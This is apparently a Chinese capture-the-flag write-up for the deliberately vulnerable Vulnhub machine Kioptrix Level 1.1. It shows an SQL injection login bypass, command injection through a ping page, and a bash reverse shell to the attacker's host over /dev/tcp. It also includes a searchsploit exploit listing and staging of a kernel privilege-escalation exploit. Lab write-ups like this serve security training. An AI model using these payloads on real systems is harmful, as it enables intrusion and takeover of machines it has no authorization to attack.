Vulnhub 23 KIOPTRIX-LEVEL 1.1
考点:sqlinject,commandinject
靶机链接:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
环境配置
名称 | IP |
---|---|
Kali Linux | 192.168.142.128 |
KIOPTRIX: LEVEL 1.1 (#2) | 192.168.142.130 |
vmware导入后网络获取失败,修改CentOs4.5.vmx
,删除带ethernet0
的行内容,虚拟机设置添加网络适配器,配置nat网络,启动该虚拟机。
初步打点
端口扫描
|
|
WEB测试
使用万能密码' or 1=1 or '
登录
登录成功后发现是个在线ping页面,尝试命令注入
命令注入成功
获得权限
使用bash -i >& /dev/tcp/192.168.142.128/444 0>&1
反弹shell
成功接收shell
提权
$ searchsploit centos
-------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------- ---------------------------------
abrt (Centos 7.1 / Fedora 22) - Local Privilege Escalation | multiple/local/38835.py
CentOS 7.6 - 'ptrace_scope' Privilege Escalation | linux/local/46989.sh
CentOS Control Web Panel 0.9.8.836 - Authentication Bypass | linux/webapps/47123.txt
CentOS Control Web Panel 0.9.8.836 - Privilege Escalation | linux/webapps/47124.txt
CentOS Control Web Panel 0.9.8.838 - User Enumeration | linux/webapps/47125.txt
CentOS Web Panel 0.9.8.1081 - Stored Cross-Site Scripting (XSS) | linux/webapps/50200.txt
CentOS Web Panel 0.9.8.12 - 'row_id' / 'domain' SQL Injection | php/webapps/43855.txt
CentOS Web Panel 0.9.8.12 - Multiple Vulnerabilities | php/webapps/43850.txt
Centos Web Panel 0.9.8.480 - Multiple Vulnerabilities | php/webapps/45610.txt
CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scri | php/webapps/45822.txt
CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting | linux/webapps/46349.txt
CentOS Web Panel 0.9.8.789 - NameServer Field Persistent Cross-Site Scrip | linux/webapps/46629.txt
CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scriptin | linux/webapps/46669.txt
CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - | linux/webapps/46784.txt
Centos WebPanel 7 - 'term' SQL Injection | linux/webapps/48212.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora | linux_x86-64/local/42275.c
Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8 | linux_x86/local/42274.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 | linux/local/9545.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5 | linux_x86/local/9542.c
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Es | linux/local/25444.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - ' | linux_x86-64/local/45516.c
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'aiptek' Nullpointer Dereferenc | linux/dos/39544.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cdc_acm' Nullpointer Dereferen | linux/dos/39543.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cypress_m8' Nullpointer Derefe | linux/dos/39542.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'digi_acceleport' Nullpointer D | linux/dos/39537.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer Derefere | linux/dos/39541.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'Wacom' Multiple Nullpointer De | linux/dos/39538.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor 'treo_attach' Nullpointer | linux/dos/39539.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor clie_5_attach Nullpointer | linux/dos/39540.txt
Linux Kernel 3.10.0 (CentOS 7) - Denial of Service | linux/dos/41350.c
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'iowarrior' Driver Crash | linux/dos/39556.txt
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'snd-usb-audio' Crash (Po | linux/dos/39555.txt
Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (Cen | linux/local/42887.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escala | linux/local/35370.c
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arb | linux/local/45175.c
Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) - Null Pointer Dereference Cr | linux/dos/20479.pl
-------------------------------------------------------------------------- ---------------------------------
$ searchsploit -m linux/local/9545.c
$ python -m http.server 80
最后修改于 2011-02-11